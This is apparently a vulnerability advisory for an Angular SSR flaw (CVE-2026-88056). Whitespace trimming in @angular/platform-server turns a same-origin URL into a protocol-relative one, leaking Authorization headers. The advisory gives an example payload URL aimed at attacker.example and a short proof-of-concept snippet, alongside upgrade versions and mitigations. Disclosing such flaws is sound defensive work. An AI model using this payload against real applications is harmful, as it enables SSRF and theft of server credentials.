CVE-2026-88056: Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.
Technical Description When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.
However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.
Impact & Reachability Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.
Proof of Concept: ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin);
if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); }
// Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), });
// @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker.
Workarounds Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient. Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
Other sources
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@angular/platform-serverto a version that resolves this vulnerability.Fixed in 20.3.30 - Upgrade
Upgrade
npm/@angular/platform-serverto a version that resolves this vulnerability.Fixed in 21.2.22 - Upgrade
Upgrade
npm/@angular/platform-serverto a version that resolves this vulnerability.Fixed in 22.1.4 - Upgrade
Upgrade
@angular/platform-serverto a version that resolves this vulnerability.Fixed in 20.3.30 - Upgrade
Upgrade
@angular/platform-serverto a version that resolves this vulnerability.Fixed in 21.2.22 - Upgrade
Upgrade
@angular/platform-serverto a version that resolves this vulnerability.Fixed in 22.1.4 - Configuration
Before resolving or dispatching any user-controlled URL in an Angular SSR (e.g., prior to relativeUrlsTransformerInterceptorFn/HttpClient), validate and sanitize the input URL to disallow leading Unicode whitespace characters such as U+00A0 and U+FEFF so they cannot change WHATWG parsing/origin-check outcomes and be resolved into a protocol-relative attacker-controlled URL.
Angular SSRF mitigation in application URL validation (before HttpClient / relativeUrlsTransformerInterceptorFn) Validate/sanitize input URLs = Disallow leading Unicode whitespace characters (e.g., NO-BREAK SPACE U+00A0 and ZERO WIDTH NO-BREAK SPACE U+FEFF) before performing origin checks or passing them to HttpClient - Compensating control
Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed/processed by utilities that normalize whitespace differently from the WHATWG URL standard; instead, include explicit handling to prevent Unicode whitespace (e.g., U+00A0, U+FEFF) from being interpreted differently during SSR URL resolution.
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Applications using Angular Server-Side Rendering through @angular/platform-server are exposed if they use affected Angular versions and pass user-controlled resource or request URLs to HttpClient after validating them as same-origin. Client-only Angular applications are not described as affected.
What conditions are needed for credential disclosure?
An attacker needs to supply a URL beginning with leading Unicode whitespace, such as U+00A0 or U+FEFF, that passes the application's same-origin validation. Disclosure occurs when the SSR application attaches sensitive server-side credentials, such as Authorization headers, to the subsequently dispatched approved request.
What should be upgraded?
Upgrade Angular to version 20.3.30, 21.2.22, or 22.1.4, depending on the supported release line in use. These versions contain the fix.
How can teams assess whether their application is at risk?
Review server-side HttpClient call paths that accept user-controlled URLs and rely on WHATWG URL parsing for same-origin checks. Prioritize paths that add Authorization or other sensitive server-side credentials before issuing the request.